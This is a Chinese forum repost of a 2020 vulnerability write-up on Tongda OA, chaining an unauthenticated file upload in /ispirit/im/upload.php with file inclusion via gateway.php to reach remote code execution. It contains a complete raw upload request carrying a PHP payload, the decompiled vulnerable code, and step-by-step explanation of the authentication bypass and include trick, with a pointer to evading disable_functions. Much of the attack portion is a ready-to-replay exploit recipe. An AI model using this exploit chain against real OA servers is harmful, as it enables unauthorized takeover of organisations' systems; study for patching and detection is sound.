搜索

[1085] 2020-03-18_通达OA任意文件上传配合文件包含导致RCE

文档创建者：s7ckTeam
浏览次数：72
最后更新：2025-01-16
2020-03-18_通达OA任意文件上传配合文件包含导致RCE 通 达 O A   任 意 文 件 上 传 配 合 文 件 包 含 导 致 R C E C h a B u g 运 营 小 哥 哥   C h a B u g   2 0 2 0 - 0 3 - 1 8 昨 晚 爆 出 来 ， 今 天 早 上 分 析 分 析 。 复 现 先 上 传 文 件 ， 然 后 文 件 包 含 P O S T   / i s p i r i t / i m / u p l o a d . p h p   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 2 4 . 1 3 8 C o n t e n t - L e n g t h :   4 6 3 C a c h e - C o n t r o l :   m a x - a g e = 0 O r i g i n :   n u l l U p g r a d e - I n s e c u r e - R e q u e s t s :   1 D N T :   1 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y T f a f X J t E s e B H h 3 r 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 9 . 0 . 3 9 4 5 . 1 1 7   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n ; q = 0 . 8 C o o k i e :   K E Y _ R A N D O M D A T A = 3 6 5 6 ;   P H P S E S S I D = Y 4 e r C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y T f a f X J t E s e B H h 3 r 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " A T T A C H M E N T _ 1 " ;   f i l e n a m e = " 1 . p n g " C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m < ? p h p   e c h o   ' Y 4 e r ' ; - - - - - - W e b K i t F o r m B o u n d a r y T f a f X J t E s e B H h 3 r 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " P " Y 4 e r - - - - - - W e b K i t F o r m B o u n d a r y T f a f X J t E s e B H h 3 r 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " D E S T _ U I D " 1 2 - - - - - - W e b K i t F o r m B o u n d a r y T f a f X J t E s e B H h 3 r 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " U P L O A D _ M O D E " 1
文 件 上 传 代 码 是 z e n d 加 密 的 ， 百 度 一 搜 一 大 把 解 密 。 文 件 上 传 的 代 码 < ? p h p / / d e c o d e   b y   h t t p : / / d e z e n d . q i l i n g . o r g     Q Q   2 8 5 9 4 7 0 s e t _ t i m e _ l i m i t ( 0 ) ; $ P   =   $ _ P O S T [ ' P ' ] ; i f   ( i s s e t ( $ P )   | |   $ P   ! =   ' ' )   {         o b _ s t a r t ( ) ;         i n c l u d e _ o n c e   ' i n c / s e s s i o n . p h p ' ;         s e s s i o n _ i d ( $ P ) ;         s e s s i o n _ s t a r t ( ) ;         s e s s i o n _ w r i t e _ c l o s e ( ) ; }   e l s e   {         i n c l u d e _ o n c e   ' . / a u t h . p h p ' ; } i n c l u d e _ o n c e   ' i n c / u t i l i t y _ f i l e . p h p ' ; i n c l u d e _ o n c e   ' i n c / u t i l i t y _ m s g . p h p ' ; i n c l u d e _ o n c e   ' m o b i l e / i n c / f u n c s . p h p ' ; o b _ e n d _ c l e a n ( ) ; $ T Y P E   =   $ _ P O S T [ ' T Y P E ' ] ; $ D E S T _ U I D   =   $ _ P O S T [ ' D E S T _ U I D ' ] ; $ d a t a B a c k   =   a r r a y ( ) ; i f   ( $ D E S T _ U I D   ! =   ' '   & &   ! t d _ v e r i f y _ i d s ( $ i d s ) )   {         $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   0 ,   ' c o n t e n t '   = >   ' - E R R   '   .   _ ( ' 接 收 方 I D 无 效 ' ) ) ;         e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;         e x i t ; } i f   ( s t r p o s ( $ D E S T _ U I D ,   ' , ' )   ! = =   f a l s e )   { }   e l s e   {         $ D E S T _ U I D   =   i n t v a l ( $ D E S T _ U I D ) ; } i f   ( $ D E S T _ U I D   = =   0 )   {         i f   ( $ U P L O A D _ M O D E   ! =   2 )   {                 $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   0 ,   ' c o n t e n t '   = >   ' - E R R   '   .   _ ( ' 接 收 方 I D 无 效 ' ) ) ;                 e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;                 e x i t ;         } } $ M O D U L E   =   ' i m ' ; i f   ( 1   < =   c o u n t ( $ _ F I L E S ) )   {         i f   ( $ U P L O A D _ M O D E   = =   ' 1 ' )   {                 i f   ( s t r l e n ( u r l d e c o d e ( $ _ F I L E S [ ' A T T A C H M E N T ' ] [ ' n a m e ' ] ) )   ! =   s t r l e n ( $ _ F I L E S [ ' A T T A C H M E N T ' ] [ ' n a m e ' ] ) )   {                         $ _ F I L E S [ ' A T T A C H M E N T ' ] [ ' n a m e ' ]   =   u r l d e c o d e ( $ _ F I L E S [ ' A T T A C H M E N T ' ] [ ' n a m e ' ] ) ;
                }         }         $ A T T A C H M E N T S   =   u p l o a d ( ' A T T A C H M E N T ' ,   $ M O D U L E ,   f a l s e ) ;         i f   ( ! i s _ a r r a y ( $ A T T A C H M E N T S ) )   {                 $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   0 ,   ' c o n t e n t '   = >   ' - E R R   '   .   $ A T T A C H M E N T S ) ;                 e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;                 e x i t ;         }         o b _ e n d _ c l e a n ( ) ;         $ A T T A C H M E N T _ I D   =   s u b s t r ( $ A T T A C H M E N T S [ ' I D ' ] ,   0 ,   - 1 ) ;         $ A T T A C H M E N T _ N A M E   =   s u b s t r ( $ A T T A C H M E N T S [ ' N A M E ' ] ,   0 ,   - 1 ) ;         i f   ( $ T Y P E   = =   ' m o b i l e ' )   {                 $ A T T A C H M E N T _ N A M E   =   t d _ i c o n v ( u r l d e c o d e ( $ A T T A C H M E N T _ N A M E ) ,   ' u t f - 8 ' ,   M Y O A _ C H A R S E T ) ;         } }   e l s e   {         $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   0 ,   ' c o n t e n t '   = >   ' - E R R   '   .   _ ( ' 无 文 件 上 传 ' ) ) ;         e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;         e x i t ; } $ F I L E _ S I Z E   =   a t t a c h _ s i z e ( $ A T T A C H M E N T _ I D ,   $ A T T A C H M E N T _ N A M E ,   $ M O D U L E ) ; i f   ( ! $ F I L E _ S I Z E )   {         $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   0 ,   ' c o n t e n t '   = >   ' - E R R   '   .   _ ( ' 文 件 上 传 失 败 ' ) ) ;         e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;         e x i t ; } i f   ( $ U P L O A D _ M O D E   = =   ' 1 ' )   {         i f   ( i s _ t h u m b a b l e ( $ A T T A C H M E N T _ N A M E ) )   {                 $ F I L E _ P A T H   =   a t t a c h _ r e a l _ p a t h ( $ A T T A C H M E N T _ I D ,   $ A T T A C H M E N T _ N A M E ,   $ M O D U L E ) ;                 $ T H U M B _ F I L E _ P A T H   =   s u b s t r ( $ F I L E _ P A T H ,   0 ,   s t r l e n ( $ F I L E _ P A T H )   -   s t r l e n ( $ A T T A C H M E N T _ N A M E ) )   .   ' t h u m b _ '   .   $ A T T A C H M E N T _ N A M E ;                 C r e a t e T h u m b ( $ F I L E _ P A T H ,   3 2 0 ,   2 4 0 ,   $ T H U M B _ F I L E _ P A T H ) ;         }         $ P _ V E R   =   i s _ n u m e r i c ( $ P _ V E R )   ?   i n t v a l ( $ P _ V E R )   :   0 ;         $ M S G _ C A T E   =   $ _ P O S T [ ' M S G _ C A T E ' ] ;         i f   ( $ M S G _ C A T E   = =   ' f i l e ' )   {                 $ C O N T E N T   =   ' [ f m ] '   .   $ A T T A C H M E N T _ I D   .   ' | '   .   $ A T T A C H M E N T _ N A M E   .   ' | '   .   $ F I L E _ S I Z E   .   ' [ / f m ] ' ;         }   e l s e   {                 i f   ( $ M S G _ C A T E   = =   ' i m a g e ' )   {                         $ C O N T E N T   =   ' [ i m ] '   .   $ A T T A C H M E N T _ I D   .   ' | '   .   $ A T T A C H M E N T _ N A M E   .   ' | '   .   $ F I L E _ S I Z E   .   ' [ / i m ] ' ;                 }   e l s e   {                         $ D U R A T I O N   =   i n t v a l ( $ D U R A T I O N ) ;                         $ C O N T E N T   =   ' [ v m ] '   .   $ A T T A C H M E N T _ I D   .   ' | '   .   $ A T T A C H M E N T _ N A M E   .   ' | '   .   $ D U R A T I O N   .   ' [ / v m ] ' ;                 }         }         $ A I D   =   0 ;         $ P O S   =   s t r p o s ( $ A T T A C H M E N T _ I D ,   ' @ ' ) ;         i f   ( $ P O S   ! = =   f a l s e )   {                 $ A I D   =   i n t v a l ( s u b s t r ( $ A T T A C H M E N T _ I D ,   0 ,   $ P O S ) ) ;         }         $ q u e r y   =   ' I N S E R T   I N T O   i m _ o f f l i n e _ f i l e   ( T I M E , S R C _ U I D , D E S T _ U I D , F I L E _ N A M E , F I L E _ S I Z E , F L A G , A I D )   v a l u e s   ( ' '   .   d a t e ( ' Y - m - d   H : i : s ' )   .   ' ' , ' '   .   $ _ S E S S I O N [ ' L O G I N _ U I D ' ]   .   ' ' , ' '   .   $ D E S T _ U I D   .           $ c u r s o r   =   e x e q u e r y ( T D : : c o n n ( ) ,   $ q u e r y ) ;         $ F I L E _ I D   =   m y s q l _ i n s e r t _ i d ( ) ;         i f   ( $ c u r s o r   = = =   f a l s e )   {                 $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   0 ,   ' c o n t e n t '   = >   ' - E R R   '   .   _ ( ' 数 据 库 操 作 失 败 ' ) ) ;                 e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;                 e x i t ;         }         $ d a t a B a c k   =   a r r a y ( ' s t a t u s '   = >   1 ,   ' c o n t e n t '   = >   $ C O N T E N T ,   ' f i l e _ i d '   = >   $ F I L E _ I D ) ;         e c h o   j s o n _ e n c o d e ( d a t a 2 u t f 8 ( $ d a t a B a c k ) ) ;         e x i t ; }   e l s e   {         i f   ( $ U P L O A D _ M O D E   = =   ' 2 ' )   {                 $ D U R A T I O N   =   i n t v a l ( $ _ P O S T [ ' D U R A T I O N ' ] ) ;                 $ C O N T E N T   =   ' [ v m ] '   .   $ A T T A C H M E N T _ I D   .   ' | '   .   $ A T T A C H M E N T _ N A M E   .   ' | '   .   $ D U R A T I O N   .   ' [ / v m ] ' ;                 $ q u e r y   =   ' I N S E R T   I N T O   W E I X U N _ S H A R E   ( U I D ,   C O N T E N T ,   A D D T I M E )   V A L U E S   ( ' '   .   $ _ S E S S I O N [ ' L O G I N _ U I D ' ]   .   ' ' ,   ' '   .   $ C O N T E N T   .   ' ' ,   ' '   .   t i m e ( )   .   ' ' ) ' ;                 $ c u r s o r   =   e x e q u e r y ( T D : : c o n n ( ) ,   $ q u e r y ) ;                 e c h o   ' + O K   '   .   $ C O N T E N T ;         }   e l s e   {                 i f   ( $ U P L O A D _ M O D E   = =   ' 3 ' )   {                         i f   ( i s _ t h u m b a b l e ( $ A T T A C H M E N T _ N A M E ) )   {                                 $ F I L E _ P A T H   =   a t t a c h _ r e a l _ p a t h ( $ A T T A C H M E N T _ I D ,   $ A T T A C H M E N T _ N A M E ,   $ M O D U L E ) ;                                 $ T H U M B _ F I L E _ P A T H   =   s u b s t r ( $ F I L E _ P A T H ,   0 ,   s t r l e n ( $ F I L E _ P A T H )   -   s t r l e n ( $ A T T A C H M E N T _ N A M E ) )   .   ' t h u m b _ '   .   $ A T T A C H M E N T _ N A M E ;                                 C r e a t e T h u m b ( $ F I L E _ P A T H ,   3 2 0 ,   2 4 0 ,   $ T H U M B _ F I L E _ P A T H ) ;                         }                         e c h o   ' + O K   '   .   $ A T T A C H M E N T _ I D ;                 }   e l s e   {                         $ C O N T E N T   =   ' [ f m ] '   .   $ A T T A C H M E N T _ I D   .   ' | '   .   $ A T T A C H M E N T _ N A M E   .   ' | '   .   $ F I L E _ S I Z E   .   ' [ / f m ] ' ;                         $ m s g _ i d   =   s e n d _ m s g ( $ _ S E S S I O N [ ' L O G I N _ U I D ' ] ,   $ D E S T _ U I D ,   1 ,   $ C O N T E N T ,   ' ' ,   2 ) ;                         $ q u e r y   =   ' i n s e r t   i n t o   I M _ O F F L I N E _ F I L E   ( T I M E , S R C _ U I D , D E S T _ U I D , F I L E _ N A M E , F I L E _ S I Z E , F L A G )   v a l u e s   ( ' '   .   d a t e ( ' Y - m - d   H : i : s ' )   .   ' ' , ' '   .   $ _ S E S S I O N [ ' L O G I N _ U I D ' ]   .   ' ' , ' '                         $ c u r s o r   =   e x e q u e r y ( T D : : c o n n ( ) ,   $ q u e r y ) ;                         $ F I L E _ I D   =   m y s q l _ i n s e r t _ i d ( ) ;                         i f   ( $ c u r s o r   = = =   f a l s e )   {
关 键 点 在 于 P O S T 提 交 P 参 数 ， 就 不 会 引 入 a u t h . p h p ， 进 而 绕 过 登 陆 。 然 后 就 是 需 要 传 一 个 D E S T _ U I D 参 数 来 过 e x i t ， 只 要 不 为 0 或 空 的 数 字 都 可 以 。 然 后 就 可 以 走 到 u p l o a d 函 数 了 ， 接 下 来 如 果 就 会 把 输 出 出 来 ， 这 个 i d 其 实 就 是 我 们 马 的 文 件 名 ， 但 是 因 为 不 在 w e b 目 录 ， 所 以 需 要 一 个 文 件 包 含 。 文 件 包 含 代 码                         i f   ( $ c u r s o r   = = =   f a l s e )   {                                 e c h o   ' - E R R   '   .   _ ( ' 数 据 库 操 作 失 败 ' ) ;                                 e x i t ;                         }                         i f   ( $ F I L E _ I D   = =   0 )   {                                 e c h o   ' - E R R   '   .   _ ( ' 数 据 库 操 作 失 败 2 ' ) ;                                 e x i t ;                         }                         e c h o   ' + O K   , '   .   $ F I L E _ I D   .   ' , '   .   $ m s g _ i d ;                         e x i t ;                 }         } } $ U P L O A D _ M O D E   = =   ' 1 ' A T T A C H M E N T _ I D < ? p h p / / d e c o d e   b y   h t t p : / / d e z e n d . q i l i n g . o r g     Q Q   2 8 5 9 4 7 0 o b _ s t a r t ( ) ; i n c l u d e _ o n c e   ' i n c / s e s s i o n . p h p ' ; i n c l u d e _ o n c e   ' i n c / c o n n . p h p ' ;
这 里 不 传 P 参 数 就 能 绕 过 e x i t 了 ， 然 后 走 到 下 面 的 i n c l u d e _ o n c e 进 行 文 件 包 含 造 成 R C E 。 其 他 我 的 环 境 是 通 达 o a 2 0 1 7 ， 2 0 2 0 / 0 3 / 1 8 从 官 网 下 的 。 p h p . i n i 默 认 禁 用 了 ， 不 知 道 其 他 版 本 是 什 么 情 况 。 参 考 使 用 c o m 组 件 绕 过 d i s a b l e _ f u n c t i o n 通 达 O A 之 前 报 过 变 量 覆 盖 的 洞 ， 所 以 你 要 知 道 直 接 传 入 的 参 数 就 会 被 覆 盖 掉 变 量 里 ， 这 也 是 上 面 U P L O A D _ M O D E 、 P 、 D E S T _ U I D 可 以 直 接 传 入 的 原 因 。 有 些 版 本 g a t e w a y . p h p 路 径 不 同 ， 例 如 2 0 1 3 ： 例 如 2 0 1 7 ： 参 考 链 接 h t t p : / / w w w . t o n g d a 2 0 0 0 . c o m / n e w s / 6 7 3 . p h p h t t p : / / c l u b . t o n g d a 2 0 0 0 . c o m / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 1 2 8 3 7 7 h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / O A - t o n g d a - R C E 文 笔 垃 圾 ， 措 辞 轻 浮 ， 内 容 浅 显 ， 操 作 生 疏 。 不 足 之 处 欢 迎 大 师 傅 们 指 点 和 纠 正 ， 感 激 不 尽 。 文 笔 垃 圾 ， 措 辞 轻 浮 ， 内 容 浅 显 ， 操 作 生 疏 。 不 足 之 处 欢 迎 大 师 傅 们 指 点 和 纠 正 ， 感 激 不 尽 。 看 完 了 就 点 个 关 注 呗 看 完 了 就 点 个 关 注 呗 i n c l u d e _ o n c e   ' i n c / u t i l i t y _ o r g . p h p ' ; i f   ( $ P   ! =   ' ' )   {         i f   ( p r e g _ m a t c h ( ' / [ ^ a - z 0 - 9 ; ] + / i ' ,   $ P ) )   {                 e c h o   _ ( ' 非 法 参 数 ' ) ;                 e x i t ;         }         s e s s i o n _ i d ( $ P ) ;         s e s s i o n _ s t a r t ( ) ;         s e s s i o n _ w r i t e _ c l o s e ( ) ;         i f   ( $ _ S E S S I O N [ ' L O G I N _ U S E R _ I D ' ]   = =   ' '   | |   $ _ S E S S I O N [ ' L O G I N _ U I D ' ]   = =   ' ' )   {                 e c h o   _ ( ' R E L O G I N ' ) ;                 e x i t ;         } } i f   ( $ j s o n )   {         $ j s o n   =   s t r i p c s l a s h e s ( $ j s o n ) ;         $ j s o n   =   ( a r r a y )   j s o n _ d e c o d e ( $ j s o n ) ;         f o r e a c h   ( $ j s o n   a s   $ k e y   = >   $ v a l )   {                 i f   ( $ k e y   = =   ' d a t a ' )   {                         $ v a l   =   ( a r r a y )   $ v a l ;                         f o r e a c h   ( $ v a l   a s   $ k e y s   = >   $ v a l u e )   {                                 $ { $ k e y s }   =   $ v a l u e ;                         }                 }                 i f   ( $ k e y   = =   ' u r l ' )   {                         $ u r l   =   $ v a l ;                 }         }         i f   ( $ u r l   ! =   ' ' )   {                 i f   ( s u b s t r ( $ u r l ,   0 ,   1 )   = =   ' / ' )   {                         $ u r l   =   s u b s t r ( $ u r l ,   1 ) ;                 }                 i n c l u d e _ o n c e   $ u r l ;         }         e x i t ; } d i s a b l e _ f u n c t i o n s   =   e x e c , s h e l l _ e x e c , s y s t e m , p a s s t h r u , p r o c _ o p e n , s h o w _ s o u r c e , p h p i n f o / i s p i r i t / i m / u p l o a d . p h p / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p / i s p i r i t / i m / u p l o a d . p h p / m a c / g a t e w a y . p h p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理